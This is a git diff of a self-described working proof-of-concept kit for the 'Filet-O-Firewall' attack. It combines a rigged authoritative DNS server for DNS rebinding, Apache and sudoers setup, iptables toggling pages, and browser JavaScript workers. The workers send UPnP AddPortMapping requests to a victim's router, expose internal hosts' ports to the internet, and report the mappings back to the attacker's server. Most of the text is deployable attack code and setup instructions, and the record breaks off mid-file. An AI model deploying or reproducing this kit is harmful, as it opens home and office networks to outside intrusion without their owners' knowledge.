diff --git a/README.md b/README.md new file mode 100644 index 0000000..cea4db2 --- /dev/null +++ b/README.md @@ -0,0 +1,107 @@ + + + +This is the Proof of Concept code to exploit the Filet-O-Firewall vulnerability. + +The code is currently being cleaned up to be more easily digestable, but it is working at the moment. + +The best browser to use for the PoC is Firefox, it works 99% of the time. + +Google Chrome recently changed some of its behavior in regards to how it handles XMLHTTPRequest timing. Will have to do research to see how to fix this. + + +Infrastructure Setup +• We need a domain that we can become the authoritative name server for +• Ideally two separate static IP addresses +• An Apache Server with the code I will provide +• The PHP DNS server code that I will provide (or a DNS server that reads from Memcache) +• A Memcache server +• We need to make sure our web server responds on all the UPnP ports (since the port needs to also be the same to bypass CORS). +• When we do the DNS Multiple A Record switch (switching from our web server to the client’s gateway ip), the browser will simply switch the IP. It does not change the path or the port. +• It is key to have the page that we send them to (open.html) load all of its resources quickly and not depend on any resources from the randomly generated subdomain. Access to the webserver on that port will be cut off in order to force the browser to switch to the second A record we have in our DNS response. + +DNS Server +• The default DNS records need to be setup in dns_record.json. +o Test.firefox needs to be specified with the public IP of the web server and the default gateway IP you would like to use in case the Memcache server is broken or too slow to respond (for some unknown reason) +o Test.sub needs to be changed to the secondary IP of the web server. This ensures connectivity can still happen during the DNS rebind attack. +• Run the DNS server by starting a screen session and running “php example.php” + + + +Apps to install: + +Apache +PHP +Memcache + + + +Files Guide: + +php_inline.conf should go in Apache conf.d directory + +apache_ports.conf should be used for Apache's ports.conf + +php_dns_ubuntu_service can be used to register a service for the php dns server + +apache_site.conf should be used as the Apache config file + + +server_settings.readme contains text that should be added to /etc/sudoers so php can modify iptables rules + + +/etc/phpdns for the PHP DNS server files + +/var/www/html for the web server files + + + + +Wmain.html – +o Displays a loading gif and scans IP addresses of the user’s gateway for possible UPnP ports that are open. If none are found 80 is assumed as the UPnP port. +o Sets whether debug mode is on or off +o Generates random subdomain +o Determines user’s private IP address +o Redirects user to random subdomain and UPnP port +o Determines the user’s browser (may be needed for extra functionality later) +U0.php – +o Accepts the base64 encoded internal ip address of the gateway and calculates the subnet. +o Puts the information into memcache with the subdomain as the key. +o Can be set to exploit Weak End System Model by adding the public IP of the gateway instead of the internal IP of the gateway. +Wopen.html – +o Displays some content (usually a video) +o Loads script.js +C1.html +o Accepts port in POST parameters and adds iptables rule blocking the port on the webserver to the IP address who made the request +C0.html +o Accepts port in POST parameters and removes iptables rule blocking the port on the webserver to the IP address who made the request +I0.php +o Returns the gateway and subnet for the requested subdomain +R0.php +o Accepts POSTed information and stores it in a file in the testup directory +Worker.js – +o POSTs the port being actively used to C1.HTML (which will add the iptables rules to cut off access) +o Starts requesting possible XML files from the gateway (the browser automatically starts using the other IP address in the multiple A record when the original cannot be accessed) +o Asks for Gateway IP from i0.php +o Once XML is found, parses the controlURL property +o POSTs XML to the controlURL to open all ports specified in the script (e.g. 80, 443, 445, 22, etc.) for the gateway ip address and client’s ip address starting with external port 5800. +o POSTs opened port internal to external mapping to r0.php +o Loades open.js (web worker code) and spawns configured number of web workers +o Breaks up subnet based on number of web workers + Assigns work to web workers + Web workers contact gateway and open rest of internal network hosts on all configured ports +o Once finished POSTs full list of hosts and internal to external port mapping to r0.php +o POSTs port to c0.html to remove iptables rule. +o Finishes + + +Open.js - + Web worker code + + + +PHP DNS Server Code from: https://github.com/yswery/PHP-DNS-SERVER + + + + diff --git a/apache_ports.conf b/apache_ports.conf new file mode 100644 index 0000000..46a609b --- /dev/null +++ b/apache_ports.conf @@ -0,0 +1,28 @@ +# If you just change the port or add more ports here, you will likely also +# have to change the VirtualHost statement in +# /etc/apache2/sites-enabled/000-default.conf + +Listen 80 +Listen 1780 +Listen 1900 +Listen 2189 +Listen 2600 +Listen 2869 +Listen 2555 +Listen 5555 +Listen 37215 +Listen 47128 +Listen 49000 +Listen 49152 +Listen 49153 +Listen 56688 + + + Listen 443 + + + + Listen 443 + + +# vim: syntax=apache ts=4 sw=4 sts=4 sr noet diff --git a/apache_site.conf b/apache_site.conf new file mode 100644 index 0000000..9967be7 --- /dev/null +++ b/apache_site.conf @@ -0,0 +1,35 @@ + + # The ServerName directive sets the request scheme, hostname and port that + # the server uses to identify itself. This is used when creating + # redirection URLs. In the context of virtual hosts, the ServerName + # specifies what hostname must appear in the request's Host: header to + # match this virtual host. For the default virtual host (this file) this + # value is not decisive as it is used as a last resort host regardless. + # However, you must set it for any further virtual host explicitly. + #ServerName www.example.com + + ServerAdmin webmaster@localhost + DocumentRoot /var/www/html + + # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, + # error, crit, alert, emerg. + # It is also possible to configure the loglevel for particular + # modules, e.g. + #LogLevel info ssl:warn + + ErrorLog ${APACHE_LOG_DIR}/error.log + CustomLog ${APACHE_LOG_DIR}/access.log combined + + # For most configuration files from conf-available/, which are + # enabled or disabled at a global level, it is possible to + # include a line for only one particular virtual host. For example the + # following line enables the CGI configuration for this host only + # after it has been globally disabled with "a2disconf". + #Include conf-available/serve-cgi-bin.conf + Header set Access-Control-Allow-Origin "*" + Header set Cache-Control "no-cache, no-store, must-revalidate" + Header set Pragma "no-cache" + Header set Expires 0 + + +# vim: syntax=apache ts=4 sw=4 sts=4 sr noet diff --git a/etc/phpdns/README.md b/etc/phpdns/README.md new file mode 100644 index 0000000..c93e301 --- /dev/null +++ b/etc/phpdns/README.md @@ -0,0 +1,73 @@ +PHP DNS Server +============== + +This is an Authoritative DNS Server written in pure PHP. +It will listen to DNS request on the default port (Default: port 53) and give answers about any donamin that it has DNS records for. +This class can be used to give DNS responses dynamically based on your pre-existing PHP code. + +Support Record Types +==================== + +* A +* NS +* CNAME +* SOA +* PTR +* MX +* TXT +* AAAA +* OPT +* AXFR +* ANY + +PHP Requirements +================ + +* `PHP 5.3+` +* Needs either `sockets` or `socket_create` PHP extension loaded (which they are by default) + +Example: +======== +Here is an example of some DNS records +``` + array( + 'A' => '111.111.111.111', + 'MX' => '112.112.112.112', + 'NS' => 'ns1.test.com', + 'TXT' => 'Some text.' + ), + 'test2.com' => array( + // allow multiple records of same type + 'A' => array( + '111.111.111.111', + '112.112.112.112' + ) + ) +); + +// Creating a new instance of our class +$dns = new PHP_DNS_SERVER($ds_records); + +// Starting our DNS server +$dns->start(); +``` + +And Here is us querying it and seeing the response +``` +$ dig @127.0.0.1 test.com A +short +111.111.111.111 + +$ dig @127.0.0.1 test.com TXT +short +"Some text." + +$ dig @127.0.0.1 test2.com A +short +111.111.111.111 +112.112.112.112 +``` + diff --git a/etc/phpdns/StorageProvider/AbstractStorageProvider.php b/etc/phpdns/StorageProvider/AbstractStorageProvider.php new file mode 100644 index 0000000..7b9034b --- /dev/null +++ b/etc/phpdns/StorageProvider/AbstractStorageProvider.php @@ -0,0 +1,9 @@ + 'A', 2 => 'NS', 5 => 'CNAME', 6 => 'SOA', 12 => 'PTR', 15 => 'MX', 16 => 'TXT', 28 => 'AAAA', 41 => 'OPT', 252 => 'AXFR', 255 => 'ANY'); + private $DS_TTL = 0; + + + public function __construct($record_file, $default_ttl = 300) { + $handle = fopen($record_file, "r"); + if(!$handle) { + throw new Exception('Unable to open dns record file.'); + } + + $dns_json = fread($handle, filesize($record_file)); + fclose($handle); + + $dns_records = json_decode($dns_json, true); + if(!$dns_records) { + throw new Exception('Unable to parse dns record file.'); + } + + $this->dns_records = $dns_records; + // Connection creation + //$memcache = new Memcache; + //$cacheAvailable = $memcache->connect(MEMCACHED_HOST, MEMCACHED_PORT); + } + + public function get_answer($question) { + + // Connection constants + //define('MEMCACHED_HOST', '127.0.0.1'); + //define('MEMCACHED_PORT', '11211'); + + // Connection creation + //$memcache = new Memcache; + //$cacheAvailable = $memcache->connect(MEMCACHED_HOST, MEMCACHED_PORT); + global $memcache; + + $answer = array(); + $domain = trim($question[0]['qname'], '.'); + $defdomain = "test.chrome"; + $defchgdomain = "test.change"; + $defmultidomain = "test.firefox"; + $defsubdomain = "test.sub"; + //$mcdomain = array(); //Memcache Variable + $cdns = explode(".",$question[0]['qname']); + $cdns_ct = count($cdns); + $mcdomain = array(); + $type = $this->DS_TYPES[$question[0]['qtype']]; + + + //CUSTOM DNS REQUEST HANDLING + echo $question[0]['qname']."\n"; + foreach($cdns as $seg) + { + echo $seg."\n"; + } + if ($cdns[0] == "c0") + { + echo "Change back detected: FROM ".$cdns[1].".".$cdns[2].".".$cdns[3]." TO ".$this->dns_records[$defdomain][$type]."\n"; + //$re sult=$ips["intip0.com"]['A']; + $this->dns_records[$cdns[1].".".$cdns[2].".".$cdns[3]][$type] = $this->dns_records[$defdomain][$type]; + } + if ($cdns[0] == "c1") + { + //$result=$ips["intip0.com"]['A']; + echo "Change detected: FROM ".$cdns[1].".".$cdns[2].".".$cdns[3]." TO ".$this->dns_records[$defchgdomain][$type]."\n"; + $this->dns_records[$cdns[1].".".$cdns[2].".".$cdns[3]][$type] = $this->dns_records[$defchgdomain][$type]; + } + if ((substr($cdns[0], 0, 1) == "f") && ($cdns_ct == 4)) + { + echo "Firefox request detected: ".$cdns[1].".".$cdns[2].".".$cdns[3]."\n"; + //Get Memcache Entry + $mcdomain = $memcache->get($cdns[0]); + //Check whether memcache entry is valid. If not, return empty array + if (count($mcdomain) > 0) + { + if ($mcdomain)//$mcdomain[0] != false) + { + foreach ($mcdomain as $data) + { + echo "Memcache entry: ".$data; + } + //array_unshift + array_unshift($mcdomain, $this->dns_records[$defdomain][$type]); + //INCORRECT: $this->dns_records[$defdomain][$type][1] = $mcdomain; + } + else + { + $mcdomain = array(); + } + } + else + { + $mcdomain = array(); + } + $defdomain = $defmultidomain; + echo "Domain section count: ".count($cdns)."\n"; + echo "Domain changed to: ".$defmultidomain."\n"; + } + if ($cdns_ct == 5) + { + $defdomain = $defsubdomain; + } + //RETURN NORMAL QUERY + if(isset($this->dns_records[$domain]) && isset($this->dns_records[$domain][$type])){ + if(is_array($this->dns_records[$domain][$type])){ + foreach($this->dns_records[$domain][$type] as $ip){ + echo 'Returning array record: '.$ip; + $answer[] = array( + 'name' => $question[0]['qname'], + 'class' => $question[0]['qclass'], + 'ttl' => $this->DS_TTL, + 'data' => array( + 'type' => $question[0]['qtype'], + 'value' => $ip + ) + ); + } + } else { + echo 'Returning record: '.$this->dns_records[$domain][$type]; + $answer[] = array( + 'name' => $question[0]['qname'], + 'class' => $question[0]['qclass'], + 'ttl' => $this->DS_TTL, + 'data' => array( + 'type' => $question[0]['qtype'], + 'value' => $this->dns_records[$domain][$type] + ) + ); + } + } + //Check with memcache + else if(($cdns_ct == 4) && (count($mcdomain) > 0)){ + if(is_array($mcdomain)){ + foreach($mcdomain as $ip){ + $answer[] = array( + 'name' => $question[0]['qname'], + 'class' => $question[0]['qclass'], + 'ttl' => $this->DS_TTL, + 'data' => array( + 'type' => $question[0]['qtype'], + 'value' => $ip + ) + ); + } + } else { + $answer[] = array( + 'name' => $question[0]['qname'], //"wpad.com", + 'class' => $question[0]['qclass'], + 'ttl' => $this->DS_TTL, + 'data' => array( + 'type' => $question[0]['qtype'], + 'value' => $mcdomain //"192.168.141.144" + ) + ); + } + } + //RETURN DEFAULT ANSWER FOR UNKOWN QUERY FOR DOMAIN + else if(isset($this->dns_records[$defdomain]) && isset($this->dns_records[$defdomain][$type])){ + if(is_array($this->dns_records[$defdomain][$type])){ + foreach($this->dns_records[$defdomain][$type] as $ip){ + $answer[] = array( + 'name' => $question[0]['qname'], + 'class' => $question[0]['qclass'], + 'ttl' => $this->DS_TTL, + 'data' => array( + 'type' => $question[0]['qtype'], + 'value' => $ip + ) + ); + } + } else { + echo 'Returning default: '.$this->dns_records[$defdomain][$type]; + $answer[] = array( + 'name' => $question[0]['qname'], //"wpad.com", + 'class' => $question[0]['qclass'], + 'ttl' => $this->DS_TTL, + 'data' => array( + 'type' => $question[0]['qtype'], + 'value' => $this->dns_records[$defdomain][$type] //"192.168.141.144" + ) + ); + } + } + + return $answer; + } + +} diff --git a/etc/phpdns/dns_record.json b/etc/phpdns/dns_record.json new file mode 100644 index 0000000..cc895e8 --- /dev/null +++ b/etc/phpdns/dns_record.json @@ -0,0 +1,30 @@ +{ + "test.chrome": { + "A": "YOURPUBIP", + "MX": "112.112.112.112", + "NS": "YOURPUBNSRECORD", + "TXT": "Some text.", + "AAAA": "DEAD:01::BEEF" + }, + "test.firefox": { + "A": ["YOURPUBIP"], + "MX": "112.112.112.112" + }, + "test.change": { + "A": "192.168.1.1", + "MX": "112.112.112.112", + "NS": "YOURPUBNSRECORD", + "TXT": "Some text.", + "AAAA": "DEAD:01::BEEF" + }, + "test.sub": { + "A": "YOURPUBIP", + "MX": "112.112.112.112", + "NS": "YOURPUBNSRECORD", + "TXT": "Some text.", + "AAAA": "DEAD:01::BEEF" + }, + "test.cname": { + "A": "192.168.141.100" + } +} diff --git a/etc/phpdns/dns_server.class.php b/etc/phpdns/dns_server.class.php new file mode 100644 index 0000000..e0c4f2e --- /dev/null +++ b/etc/phpdns/dns_server.class.php @@ -0,0 +1,428 @@ + 'A', 2 => 'NS', 5 => 'CNAME', 6 => 'SOA', 12 => 'PTR', 15 => 'MX', 16 => 'TXT', 28 => 'AAAA', 41 => 'OPT', 252 => 'AXFR', 255 => 'ANY'); + + private $ds_storage; + + public function __construct($ds_storage, $bind_ip = '0.0.0.0', $bind_port = 53, $default_ttl = 300, $max_packet_len = 512){ + $this->DS_PORT = $bind_port; + $this->DS_IP = $bind_ip; + $this->DS_TTL = $default_ttl; + $this->DS_MAX_LENGTH = $max_packet_len; + $this->ds_storage = $ds_storage; + + ini_set('display_errors', TRUE); + ini_set('error_reporting', E_ALL); + + set_error_handler(array($this, 'ds_error'), E_ALL); + set_time_limit(0); + + if(!extension_loaded('sockets') || !function_exists('socket_create')){ + $this->ds_error(E_USER_ERROR, 'Socket extension or function not found.', __FILE__, __LINE__); + } + } + + public function start(){ + $this->ds_listen(); + } + + private function ds_listen(){ + $ds_socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); + + if(!$ds_socket){ + $error = sprintf('Cannot create socket (socket error: %s).', socket_strerror(socket_last_error($ds_socket))); + $this->ds_error(E_USER_ERROR, $error, __FILE__, __LINE__); + } + + if(!socket_bind($ds_socket, $this->DS_IP, $this->DS_PORT)){ + $error = sprintf('Cannot bind socket to %s:%d (socket error: %s).', $this->DS_IP, $this->DS_PORT, socket_strerror(socket_last_error($ds_socket))); + $this->ds_error(E_USER_ERROR, $error, __FILE__, __LINE__); + } + + while(TRUE){ + $buffer = $ip = $port = NULL; + + if(!socket_recvfrom($ds_socket, $buffer, $this->DS_MAX_LENGTH, NULL, $ip, $port)){ + $error = sprintf('Cannot read from socket ip: %s, port: %d (socket error: %s).', $ip, $port, socket_strerror(socket_last_error($ds_socket))); + $this->ds_error(E_USER_ERROR, $error, __FILE__, __LINE__); + }else{ + $response = $this->ds_handle_query($buffer, $ip, $port); + + if(!socket_sendto($ds_socket, $response, strlen($response), 0, $ip, $port)){ + $error = sprintf('Cannot send reponse to socket ip: %s, port: %d (socket error: %s).', $ip, $port, socket_strerror(socket_last_error($ds_socket))); + } + } + } + } + + private function ds_handle_query($buffer, $ip, $port){ + $data = unpack('npacket_id/nflags/nqdcount/nancount/nnscount/narcount', $buffer); + $flags = $this->ds_decode_flags($data['flags']); + $offset = 12; + + $question = $this->ds_decode_question_rr($buffer, $offset, $data['qdcount']); + $answer = $this->ds_decode_rr($buffer, $offset, $data['ancount']); + $authority = $this->ds_decode_rr($buffer, $offset, $data['nscount']); + $additional = $this->ds_decode_rr($buffer, $offset, $data['arcount']); + $answer = $this->ds_storage->get_answer($question); + $flags['qr'] = 1; + $flags['ra'] = 0; + + $qdcount = count($question); + $ancount = count($answer); + $nscount = count($authority); + $arcount = count($additional); + + $response = pack('nnnnnn', $data['packet_id'], $this->ds_encode_flags($flags), $qdcount, $ancount, $nscount, $arcount); + $response .= ($p = $this->ds_encode_question_rr($question, strlen($response))); + $response .= ($p = $this->ds_encode_rr($answer, strlen($response))); + $response .= $this->ds_encode_rr($authority, strlen($response)); + $response .= $this->ds_encode_rr($additional, strlen($response)); + + return $response; + } + + + private function ds_decode_flags($flags){ + $res = array(); + + $res['qr'] = $flags >> 15 & 0x1; + $res['opcode'] = $flags >> 11 & 0xf; + $res['aa'] = $flags >> 10 & 0x1; + $res['tc'] = $flags >> 9 & 0x1; + $res['rd'] = $flags >> 8 & 0x1; + $res['ra'] = $flags >> 7 & 0x1; + $res['z'] = $flags >> 4 & 0x7; + $res['rcode'] = $flags & 0xf; + + return $res; + } + + private function ds_decode_question_rr($pkt, &$offset, $count){ + $res = array(); + + for($i = 0; $i < $count; ++$i){ + if($offset > strlen($pkt)) return false; + $qname = $this->ds_decode_label($pkt, $offset); + $tmp = unpack('nqtype/nqclass', substr($pkt, $offset, 4)); + $offset += 4; + $tmp['qname'] = $qname; + $res[] = $tmp; + } + return $res; + } + + private function ds_decode_label($pkt, &$offset){ + $end_offset = NULL; + $qname = ''; + + while(1){ + $len = ord($pkt[$offset]); + $type = $len >> 6 & 0x2; + + if($type){ + switch($type){ + case 0x2: + $new_offset = unpack('noffset', substr($pkt, $offset, 2)); + $end_offset = $offset + 2; + $offset = $new_offset['offset'] & 0x3fff; + break; + case 0x1: + break; + } + continue; + } + + if($len > (strlen($pkt) - $offset)) + return NULL; + + if($len == 0){ + if($qname == '') + $qname = '.'; + ++$offset; + break; + } + $qname .= substr($pkt, $offset + 1, $len) . '.'; + $offset += $len + 1; + } + + if(!is_null($end_offset)){ + $offset = $end_offset; + } + + return $qname; + } + + private function ds_decode_rr($pkt, &$offset, $count){ + $res = array(); + + for($i = 0; $i < $count; ++$i){ + // read qname + $qname = $this->ds_decode_label($pkt, $offset); + // read qtype & qclass + $tmp = unpack('ntype/nclass/Nttl/ndlength', substr($pkt, $offset, 10)); + $tmp['name'] = $qname; + $offset += 10; + $tmp['data'] = $this->ds_decode_type($tmp['type'], substr($pkt, $offset, $tmp['dlength'])); + $offset += $tmp['dlength']; + $res[] = $tmp; + } + + return $res; + } + + private function ds_decode_type($type, $val){ + $data = array(); + + switch($type){ + case $this->DS_TYPE_A: + $data['value'] = inet_ntop($val); + break; + case $this->DS_TYPE_AAAA: + $data['value'] = inet_ntop($val); + break; + case $this->DS_TYPE_NS: + $foo_offset = 0; + $data['value'] = $this->ds_decode_label($val, $foo_offset); + break; + case $this->DS_TYPE_CNAME: + $foo_offset = 0; + $data['value'] = $this->ds_decode_label($val, $foo_offset); + break; + case $this->DS_TYPE_SOA: + $data['value'] = array(); + $offset = 0; + $data['value']['mname'] = $this->ds_decode_label($val, $offset); + $data['value']['rname'] = $this->ds_decode_label($val, $offset); + $next_values = unpack('Nserial/Nrefresh/Nretry/Nexpire/Nminimum', substr($val, $offset)); + + foreach($next_values as $var => $val){ + $data['value'][$var] = $val; + } + + break; + case $this->DS_TYPE_PTR: + $foo_offset = 0; + $data['value'] = $this->ds_decode_label($val, $foo_offset); + break; + case $this->DS_TYPE_MX: + $tmp = unpack('n', $val); + $data['value'] = array( + 'priority' => $tmp[0], + 'host' => substr($val, 2), + ); + break; + case $this->DS_TYPE_TXT: + $len = ord($val[0]); + + if((strlen($val) + 1) < $len){ + $data['value'] = NULL; + break; + } + + $data['value'] = substr($val, 1, $len); + break; + case $this->DS_TYPE_AXFR: + $data['value'] = NULL; + break; + case $this->DS_TYPE_ANY: + $data['value'] = NULL; + break; + case $this->DS_TYPE_OPT: + $data['type'] = $this->DS_TYPE_OPT; + $data['value'] = array( + 'type' => $this->DS_TYPE_OPT, + 'ext_code' => $this->DS_TTL >> 24 & 0xff, + 'udp_payload_size' => 4096, + 'version' => $this->DS_TTL >> 16 & 0xff, + 'flags' => $this->ds_decode_flags($this->DS_TTL & 0xffff) + ); + break; + default: + $data['value'] = $val; + return false; + } + + return $data; + } + + private function ds_encode_flags($flags){ + $val = 0; + + $val |= ($flags['qr'] & 0x1) << 15; + $val |= ($flags['opcode'] & 0xf) << 11; + $val |= ($flags['aa'] & 0x1) << 10; + $val |= ($flags['tc'] & 0x1) << 9; + $val |= ($flags['rd'] & 0x1) << 8; + $val |= ($flags['ra'] & 0x1) << 7; + $val |= ($flags['z'] & 0x7) << 4; + $val |= ($flags['rcode'] & 0xf); + + return $val; + } + + private function ds_encode_label($str, $offset = NULL){ + $res = ''; + $in_offset = 0; + + if($str == '.'){ + return "\0"; + } + + while(1){ + $pos = strpos($str, '.', $in_offset); + + if($pos === false){ + return $res . "\0"; + } + + $res .= chr($pos - $in_offset) . substr($str, $in_offset, $pos - $in_offset); + $offset += ($pos - $in_offset) + 1; + $in_offset = $pos + 1; + } + } + + private function ds_encode_question_rr($list, $offset){ + $res = ''; + + foreach($list as $rr){ + $lbl = $this->ds_encode_label($rr['qname'], $offset); + $offset += strlen($lbl) + 4; + $res .= $lbl; + $res .= pack('nn', $rr['qtype'], $rr['qclass']); + } + + return $res; + } + + private function ds_encode_rr($list, $offset){ + $res = ''; + + foreach($list as $rr){ + $lbl = $this->ds_encode_label($rr['name'], $offset); + $res .= $lbl; + $offset += strlen($lbl); + + if(!is_array($rr['data'])){ + return false; + } + + $offset += 10; + $data = $this->ds_encode_type($rr['data']['type'], $rr['data']['value'], $offset); + + if(is_array($data)){ + // overloading written data + if(!isset($data['type'])) + $data['type'] = $rr['data']['type']; + if(!isset($data['data'])) + $data['data'] = ''; + if(!isset($data['class'])) + $data['class'] = $rr['class']; + if(!isset($data['ttl'])) + $data['ttl'] = $rr['ttl']; + $offset += strlen($data['data']); + $res .= pack('nnNn', $data['type'], $data['class'], $data['ttl'], strlen($data['data'])) . $data['data']; + } else { + $offset += strlen($data); + $res .= pack('nnNn', $rr['data']['type'], $rr['class'], $rr['ttl'], strlen($data)) . $data; + } + } + + return $res; + } + + private function ds_encode_type($type, $val = NULL, $offset = NULL){ + switch ($type){ + case $this->DS_TYPE_A: + $enc = inet_pton($val); + if(strlen($enc) != 4) + $enc = "\0\0\0\0"; + return $enc; + case $this->DS_TYPE_AAAA: + $enc = inet_pton($val); + if (strlen($enc) != 16) + $enc = str_repeat("\0", 16); + return $enc; + case $this->DS_TYPE_NS: + return $this->ds_encode_label($val, $offset); + case $this->DS_TYPE_CNAME: + return $this->ds_encode_label($val, $offset); + case $this->DS_TYPE_SOA: + $res = ''; + $res .= $this->ds_encode_label($val['mname'], $offset); + $res .= $this->ds_encode_label($val['rname'], $offset + strlen($res)); + $res .= pack('NNNNN', $val['serial'], $val['refresh'], $val['retry'], $val['expire'], $val['minimum']); + return $res; + case $this->DS_TYPE_PTR: + return $this->ds_encode_label($val, $offset); + case $this->DS_TYPE_MX: + return pack('n', 10) . $this->ds_encode_label($val, $offset + 2); + case $this->DS_TYPE_TXT: + if(strlen($val) > 255) + $val = substr($val, 0, 255); + + return chr(strlen($val)) . $val; + case $this->DS_TYPE_AXFR: + return ''; + case $this->DS_TYPE_ANY: + return ''; + case $this->DS_TYPE_OPT: + $res = array( + 'class' => $val['udp_payload_size'], + 'ttl' => (($val['ext_code'] & 0xff) << 24) | (($val['version'] & 0xff) << 16) | ($this->ds_encode_flags($val['flags']) & 0xffff), + 'data' => '', // TODO: encode data + ); + + return $res; + default: + return $val; + } + } + + public function ds_error($code, $error, $file, $line){ + if(!(error_reporting() & $code)){ + return; + } + + $codes = array( + E_ERROR => 'Error', + E_WARNING => 'Warning', + E_PARSE => 'Parse Error', + E_NOTICE => 'Notice', + E_CORE_ERROR => 'Core Error', + E_CORE_WARNING => 'Core Warning', + E_COMPILE_ERROR => 'Compile Error', + E_COMPILE_WARNING => 'Compile Warning', + E_USER_ERROR => 'User Error', + E_USER_WARNING => 'User Warning', + E_USER_NOTICE => 'User Notice', + E_STRICT => 'Strict Notice', + E_RECOVERABLE_ERROR => 'Recoverable Error', + E_DEPRECATED => 'Deprecated Error', + E_USER_DEPRECATED => 'User Deprecated Error' + ); + + $type = isset($codes[$code]) ? $codes[$code] : 'Unknown Error'; + + die(sprintf('DNS Server error: [%s] "%s" in file "%s" on line "%d".%s', $type, $error, $file, $line, PHP_EOL)); + } + + public static function get_ds_types() { + return $this->$DS_TYPES; + } + +} diff --git a/etc/phpdns/example.php b/etc/phpdns/example.php new file mode 100644 index 0000000..fc29a1c --- /dev/null +++ b/etc/phpdns/example.php @@ -0,0 +1,36 @@ +connect(MEMCACHED_HOST, MEMCACHED_PORT); + + +// Starting our DNS server +$dns->start(); + +?> diff --git a/php_inline.conf b/php_inline.conf new file mode 100755 index 0000000..c39d543 --- /dev/null +++ b/php_inline.conf @@ -0,0 +1 @@ +AddType application/x-httpd-php .html .htm .js diff --git a/phpdns_ubuntu_service b/phpdns_ubuntu_service new file mode 100755 index 0000000..63c20a6 --- /dev/null +++ b/phpdns_ubuntu_service @@ -0,0 +1 @@ +sudo screen -dmS phpdns su -c 'echo "Waiting for system start"; sleep 10s; cd /etc/phpdns; php example.php' diff --git a/server_settings.readme b/server_settings.readme new file mode 100644 index 0000000..8b3887c --- /dev/null +++ b/server_settings.readme @@ -0,0 +1,5 @@ + + + +#Add to the bottom of the /etc/sudoers file +www-data ALL=NOPASSWD: /sbin/iptables diff --git a/var/www/html/ajax-loader.gif b/var/www/html/ajax-loader.gif new file mode 100644 index 0000000..582c59b Binary files /dev/null and b/var/www/html/ajax-loader.gif differ diff --git a/var/www/html/c0.html b/var/www/html/c0.html new file mode 100644 index 0000000..a55641b --- /dev/null +++ b/var/www/html/c0.html @@ -0,0 +1,24 @@ + + +SUCCESS + diff --git a/var/www/html/c1.html b/var/www/html/c1.html new file mode 100644 index 0000000..a513108 --- /dev/null +++ b/var/www/html/c1.html @@ -0,0 +1,28 @@ + + +SUCCESS + diff --git a/var/www/html/config.php b/var/www/html/config.php new file mode 100644 index 0000000..8243eb3 --- /dev/null +++ b/var/www/html/config.php @@ -0,0 +1,11 @@ + diff --git a/var/www/html/i0.php b/var/www/html/i0.php new file mode 100644 index 0000000..fadc0bb --- /dev/null +++ b/var/www/html/i0.php @@ -0,0 +1,34 @@ +connect(MEMCACHED_HOST, MEMCACHED_PORT); + +$cdns = explode(".", $_SERVER["HTTP_HOST"]); +$cdns_ct = count($cdns); + +/*$key = "test"; +$product = array("123", "456"); + +$memcache->set($key, $product); + +$text = $memcache->get($key); + +foreach ($text as $data) +{ + echo $data; +}*/ +$iparray = ""; + $key = $cdns[$cdns_ct-3]; +//Remove initial colon from ip array + $iparray = $memcache->get($key."ip"); + echo $iparray; + + + + +?> diff --git a/var/www/html/open.js b/var/www/html/open.js new file mode 100644 index 0000000..8e333e2 --- /dev/null +++ b/var/www/html/open.js @@ -0,0 +1,66 @@ + +var logs = ""; +function opnip(iparray, corrurl, schematype, startportnum) +{ + postMessage(['Beginning openip at startportnum: ' + startportnum, logs]); + if (typeof iparray === 'undefined') + { + iparray = intips; + } + for (i=0; i < iparray.length; i++) + { + for (j=0; j < opnports.length; j++) + { + var portarr = opnports[j].split(":"); + var proto = portarr[1]; + var intportnum = portarr[0]; + logs = logs + startportnum + "---" + iparray[i] + ":" + intportnum + "_" + proto + '
'; + //console.log('Starting open with Control URL : ' + corrurl ); + loadXMLDoc(corrurl, schematype, startportnum, intportnum, proto, iparray[i]); + startportnum++; + } + } +} +function processReqChange() { + // only if req shows "loaded" + if (req.readyState == 4) { + // only if "OK" + if (req.status == 200) { + // ...processing statements go here... + //alert(req.responseText); + } else { + logs = logs + "There was a problem retrieving the XML data:\n" + req.statusText + '
'; + } + } +} + +function loadXMLDoc(url, schema, extport, intport, proto, intip) { + //document.write("startxml"); + req = false; + // branch for native XMLHttpRequest object + req = new XMLHttpRequest(); + if(req) { + //document.write("postxml"); + req.onreadystatechange = processReqChange; + req.open("POST", url, true); + req.setRequestHeader('SOAPAction', '"' + schema + '#AddPortMapping"'); + + req.send('xml version="1.0"?>'+ extport + '' + proto + '' + intport + '' + intip + '1XBOX0'); + } +} + +onmessage = function(e) { + postMessage(['Beginning worker', logs]); + console.log('Message received from main script with URL: ' + e.data[1] ); + //console.log('edata[0]: ' + e.data[0] ); + //console.log('edata[1]: ' + e.data[1] ); + //console.log('edata[2]: ' + e.data[2] ); + //Here we invoke open function using data passed from main + opnip(e.data[0], e.data[1], e.data[2], e.data[3]); + console.log('Posting message back to main script'); + postMessage(['Logs', logs]); +} diff --git a/var/www/html/p0.html b/var/www/html/p0.html new file mode 100644 index 0000000..2f290f2 --- /dev/null +++ b/var/www/html/p0.html @@ -0,0 +1,12 @@ + + +'; +} + +?> + + diff --git a/var/www/html/r0.php b/var/www/html/r0.php new file mode 100644 index 0000000..2e722cd --- /dev/null +++ b/var/www/html/r0.php @@ -0,0 +1,16 @@ + 2) +{ + file_put_contents("/var/www/html/testup/".$_SERVER["HTTP_HOST"]."out.html", $_SERVER["REMOTE_ADDR"].'
'.file_get_contents("php://input")); +} +else +{ + file_put_contents("/var/www/html/testup/".$_SERVER["REMOTE_ADDR"]."out.html", $_SERVER["REMOTE_ADDR"].'
